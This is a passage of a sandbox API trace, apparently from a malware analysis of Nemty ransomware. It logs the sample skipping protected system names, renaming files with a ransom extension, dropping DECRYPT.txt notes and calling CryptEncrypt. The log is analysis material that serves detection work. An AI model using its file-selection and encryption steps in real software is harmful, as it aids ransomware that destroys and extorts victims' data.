lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.832] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.832] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.838] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.838] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.838] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.838] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0113.844] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.844] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.844] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.844] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0113.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0113.844] CloseHandle (hObject=0xffffffff) returned 0 [0113.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0113.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0113.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0113.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0113.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0113.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0113.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0113.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0113.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0113.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0113.845] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\gadget.xml._nemty_kgobjgd_")) returned 0 [0113.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0113.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0113.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0113.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0113.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0113.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0113.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0113.845] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="js", cAlternateFileName="")) returned 1 [0113.845] lstrcmpiW (lpString1="js", lpString2=".") returned 1 [0113.845] lstrcmpiW (lpString1="js", lpString2="..") returned 1 [0113.845] lstrcmpiW (lpString1="js", lpString2="...") returned 1 [0113.845] lstrcmpiW (lpString1="js", lpString2="windows") returned -1 [0113.845] lstrcmpiW (lpString1="js", lpString2="$RECYCLE.BIN") returned 1 [0113.845] lstrcmpiW (lpString1="js", lpString2="rsa") returned -1 [0113.845] lstrcmpiW (lpString1="js", lpString2="NTDETECT.COM") returned -1 [0113.845] lstrcmpiW (lpString1="js", lpString2="ntldr") returned -1 [0113.845] lstrcmpiW (lpString1="js", lpString2="MSDOS.SYS") returned -1 [0113.845] lstrcmpiW (lpString1="js", lpString2="IO.SYS") returned 1 [0113.845] lstrcmpiW (lpString1="js", lpString2="boot.ini") returned 1 [0113.845] lstrcmpiW (lpString1="js", lpString2="boot.ini") returned 1 [0113.845] lstrcmpiW (lpString1="js", lpString2="AUTOEXEC.BAT") returned 1 [0113.845] lstrcmpiW (lpString1="js", lpString2="ntuser.dat") returned -1 [0113.845] lstrcmpiW (lpString1="js", lpString2="desktop.ini") returned 1 [0113.846] lstrcmpiW (lpString1="js", lpString2="CONFIG.SYS") returned 1 [0113.846] lstrcmpiW (lpString1="js", lpString2="RECYCLER") returned -1 [0113.846] lstrcmpiW (lpString1="js", lpString2="BOOTSECT.BAK") returned 1 [0113.846] lstrcmpiW (lpString1="js", lpString2="bootmgr") returned 1 [0113.846] lstrcmpiW (lpString1="js", lpString2="programdata") returned -1 [0113.846] lstrcmpiW (lpString1="js", lpString2="appdata") returned 1 [0113.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0113.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x653ebd0, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="js", lpUsedDefaultChar=0x0) returned 2 [0113.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0113.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x653ebd0, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="js", lpUsedDefaultChar=0x0) returned 2 [0113.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401e0 [0113.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0113.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340268 [0113.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0113.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0113.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0113.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0113.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63402f0 [0113.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0113.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340398 [0113.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f0 | out: hHeap=0x4f90000) returned 1 [0113.846] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0113.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340398 | out: hHeap=0x4f90000) returned 1 [0113.847] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.847] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0113.848] CloseHandle (hObject=0x254) returned 1 [0113.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0113.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340268 | out: hHeap=0x4f90000) returned 1 [0113.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340268 [0113.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63402f0 [0113.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340378 [0113.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0113.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0113.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0113.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0113.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0113.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340400 [0113.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63404a8 [0113.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340400 | out: hHeap=0x4f90000) returned 1 [0113.848] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0113.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0113.849] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.849] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0113.850] CloseHandle (hObject=0x254) returned 1 [0113.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0113.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340378 | out: hHeap=0x4f90000) returned 1 [0113.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0113.850] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf77ed610, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf77ed610, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0113.850] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0113.850] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf77ed610, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf77ed610, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0113.851] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0113.851] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0113.851] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x467a, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="clock.js", cAlternateFileName="")) returned 1 [0113.851] lstrcmpiW (lpString1="clock.js", lpString2=".") returned 1 [0113.851] lstrcmpiW (lpString1="clock.js", lpString2="..") returned 1 [0113.851] lstrcmpiW (lpString1="clock.js", lpString2="...") returned 1 [0113.851] lstrcmpiW (lpString1="clock.js", lpString2="windows") returned -1 [0113.851] lstrcmpiW (lpString1="clock.js", lpString2="$RECYCLE.BIN") returned 1 [0113.851] lstrcmpiW (lpString1="clock.js", lpString2="rsa") returned -1 [0113.851] lstrcmpiW (lpString1="clock.js", lpString2="NTDETECT.COM") returned -1 [0113.851] lstrcmpiW (lpString1="clock.js", lpString2="ntldr") returned -1 [0113.851] lstrcmpiW (lpString1="clock.js", lpString2="MSDOS.SYS") returned -1 [0113.851] lstrcmpiW (lpString1="clock.js", lpString2="IO.SYS") returned -1 [0113.851] lstrcmpiW (lpString1="clock.js", lpString2="boot.ini") returned 1 [0113.851] lstrcmpiW (lpString1="clock.js", lpString2="boot.ini") returned 1 [0113.851] lstrcmpiW (lpString1="clock.js", lpString2="AUTOEXEC.BAT") returned 1 [0113.851] lstrcmpiW (lpString1="clock.js", lpString2="ntuser.dat") returned -1 [0113.851] lstrcmpiW (lpString1="clock.js", lpString2="desktop.ini") returned -1 [0113.851] lstrcmpiW (lpString1="clock.js", lpString2="CONFIG.SYS") returned -1 [0113.851] lstrcmpiW (lpString1="clock.js", lpString2="RECYCLER") returned -1 [0113.851] lstrcmpiW (lpString1="clock.js", lpString2="BOOTSECT.BAK") returned 1 [0113.851] lstrcmpiW (lpString1="clock.js", lpString2="bootmgr") returned 1 [0113.851] lstrcmpiW (lpString1="clock.js", lpString2="programdata") returned -1 [0113.851] lstrcmpiW (lpString1="clock.js", lpString2="appdata") returned 1 [0113.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clock.js", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0113.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clock.js", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clock.js", lpUsedDefaultChar=0x0) returned 8 [0113.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0113.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clock.js", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0113.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clock.js", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clock.js", lpUsedDefaultChar=0x0) returned 8 [0113.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0113.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clock.js", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0113.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clock.js", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clock.js", lpUsedDefaultChar=0x0) returned 8 [0113.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clock.js", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0113.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clock.js", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clock.js", lpUsedDefaultChar=0x0) returned 8 [0113.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0113.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0113.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0113.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0113.852] Sleep (dwMilliseconds=0x5) [0113.862] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xf78398d0, dwHighDateTime=0x1d561e7)) [0113.862] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xf78398d0, dwHighDateTime=0x1d561e7)) [0113.862] GetLastError () returned 0xb7 [0113.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0113.862] GetLastError () returned 0xb7 [0113.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0113.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0113.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0113.862] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0113.862] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0113.863] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0113.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340378 [0113.863] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340378, pcchString=0x653e5dc | out: pszString="b0qiuEPlxCSXXSUduCzEc3C1wWRqNsWXDR17R67vj9avm4BRIzuywFzvF5T6KyFv\r\nKJgsZf8BdKwzIit6afg5Mx4XY1XaLuYbAFulRKTwmi7pFEYuYp7Tf6NbOR7YdTiL\r\nhQZXUkk30VE8g3G9izV/4q3FpgeOmz2droY3zNQjyx4OUfzh0kdvlfvajatEWUbI\r\n7mMPueiTX5jeGQ3H3AnEMr6UCBu4FL45FPQ1gxEMjDitCG4Cap4D3njQAjatdZiu\r\nca9K2xGNowUx+k0qG1X6L5Vj2LOFQwvPQenqvnwQqr1qidz1Yd7uzAbwVlGoelJJ\r\nYUdHX1lVKE+kR5/fMlf9AA==\r\n", pcchString=0x653e5dc) returned 1 [0113.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0113.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340378 | out: hHeap=0x4f90000) returned 1 [0113.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0113.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0113.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340378 [0113.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0113.863] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js\\clock.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\js\\clock.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0113.863] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0113.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0113.863] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.863] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.873] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.873] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.873] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.873] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0113.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0113.883] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0113.883] 